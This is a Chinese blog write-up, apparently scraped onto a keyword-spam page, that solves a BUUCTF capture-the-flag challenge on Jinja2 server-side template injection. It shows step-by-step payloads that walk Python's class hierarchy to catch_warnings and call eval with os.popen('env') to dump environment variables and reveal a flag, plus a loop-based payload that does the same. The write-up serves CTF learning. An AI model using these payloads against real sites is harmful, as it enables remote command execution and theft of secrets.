当前位置: 首页 > news >正文

哪个网站的课件做的好处建立网站的流程

哪个网站的课件做的好处,建立网站的流程,做网站530元,门户网站部署方案声明:本篇文章csdn要我一天发两篇所以我来水的 跟ssti注入的详细知识我这里写了 https://blog.csdn.net/weixin_74790320/article/details/136154130 上面链接我复现了vulhub的SSTI,其实本质上是一道题 然后我们就用{{.__class__}}看类的类型&#xf…

声明:本篇文章csdn要我一天发两篇所以我来水的

跟ssti注入的详细知识我这里写了

https://blog.csdn.net/weixin_74790320/article/details/136154130

上面链接我复现了vulhub的SSTI,其实本质上是一道题

然后我们就用{{''.__class__}}看类的类型,但是无所谓,啥类型都可以,因为我们要找到的是他的基类,然后通过基类去找子类

{{''.__class__.__base__}}找到基类

然后找子类

然后在子类中找到catch_warnings这个类,然后去这个类的全局变量里面找到eval,

所以就可以命令执行,然后flag在env环境变量里面

手工payload:

 1.先获取类

payload:

{{''.__class__}}

先使用该payload来获取某个类,这里可以获取到的是str类,实际上获取到任何类都可以,因为我们都最终目的是要获取到基类Object。

2.获取基类

payload:

{{''.__class__.__bases__}}

3.获取基类的所有子类

payload:

{{''.__class__.__base__.__subclasses__()}}

4.找所有存在eval的类

{{''.__class__.__base__.__subclasses__()[166]}}

这里官方给了一个方向是catch_warnings类

然后我大概搞了一下,这个类在第167个,但是下标从0开始就是166个

5.选中这个类

先声明一下下面的网址有时候有点变化的原因是我也在搞buuctf的这个ssti,跟我靶机有点没分开就是我人晕了,但是没有影响,重要的是对name参数的注入

格式都是?name+payload

payload:

{{%27%27.__class__.__base__.__subclasses__()[166]}}

6.在这个类中找他的初始化函数里面的所有全局变量

然后看看这里面有没有危险函数eval

payload:

{{''.__class__.__base__.__subclasses__()[166].__init__.__globals__}}

存在eval


然后我们怎么选择eval函数呢???
{}这种大括号


别问我为什么没有右括号,我视力不好没看到在哪,反正他被'__builtins__'这一个键里面的{}号包围了
所以怎么选择呢?那就是
['__builtins__']['eval']

找到危险函数那就是最后的代码执行阶段了

原本代码执行这么写eval('__import__("os").popen("env").read()')

那已经选中了eval是不是右边加上('__import__("os").popen("env").read()')这一部分就好了!!!

7.代码执行

payload:

?name={{''.__class__.__base__.__subclasses__()[166].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("env").read()')}}

因为是buuctf的题所以我直接干出flag了,flag在环境变量里,所以意思就是我们只要代码执行env获取环境变量就好了

你自己玩的时候可以试下whoami,也是可以的

官方payload:

后面遍历需要代码跑一遍

{%code%}这里是代码的意思在ssti里面

payload:

{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("env").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}

解释在我上面的链接中

然后就可以看到flag了

flag{2108fec7-53f1-4e60-b65f-9ae1f959d501}


http://www.yidumall.com/news/47538.html

相关文章:

  • php前台网站开发网络推广和网络营销的区别
  • 冷库网站建设网站优化方案案例
  • 上海监理建设协会网站seo有哪些网站
  • 政府企业网站建设的意义网络竞价托管公司
  • 高端网站建设谷美网页设计培训学校
  • 所有网站域名都有一键识图找原图
  • 做网站怎么收集资料外链在线生成
  • 网站运营推广选择乐云seo宁波seo在线优化哪家好
  • 校园网站推广方案怎么做长春疫情最新情况
  • 美橙互联建站网站被截止电商运营自学全套教程
  • php网站建设案例教程视频建站之星官方网站
  • 便宜网站制作公司公司网络推广网站
  • 网站开发工程师的职位营销策划书模板范文
  • 做问卷调查的网站挣钱总推荐榜总点击榜总排行榜
  • 哪个网站可以做加工代理的怎么注册自己的网站域名
  • 征信网站开发b2b网站
  • 网站建设流行技术直通车关键词怎么选 选几个
  • 天津手机网站建设制作博客seo教程
  • 四川省建设招标网站google推广工具
  • 怎么做网站后缀识别符号才不会变防止恶意点击软件管用吗
  • 长沙app定制开发关键词优化公司如何选择
  • 网络架构相关文献qq群怎么优化排名靠前
  • 注册企业管理咨询服务公司网络seo是什么
  • 无锡新区企业网站推广学seo网络推广
  • 视频直播网站建设方案培训网站搭建
  • 网站建设开发感悟百度文库首页
  • 做网站组织结构框架例子刺激广告
  • 做网站需要准备什么资料网站seo优化运营
  • 制作网站需要学什么软件有哪些内容网站网络营销
  • 免费自助建站软件爱站网备案查询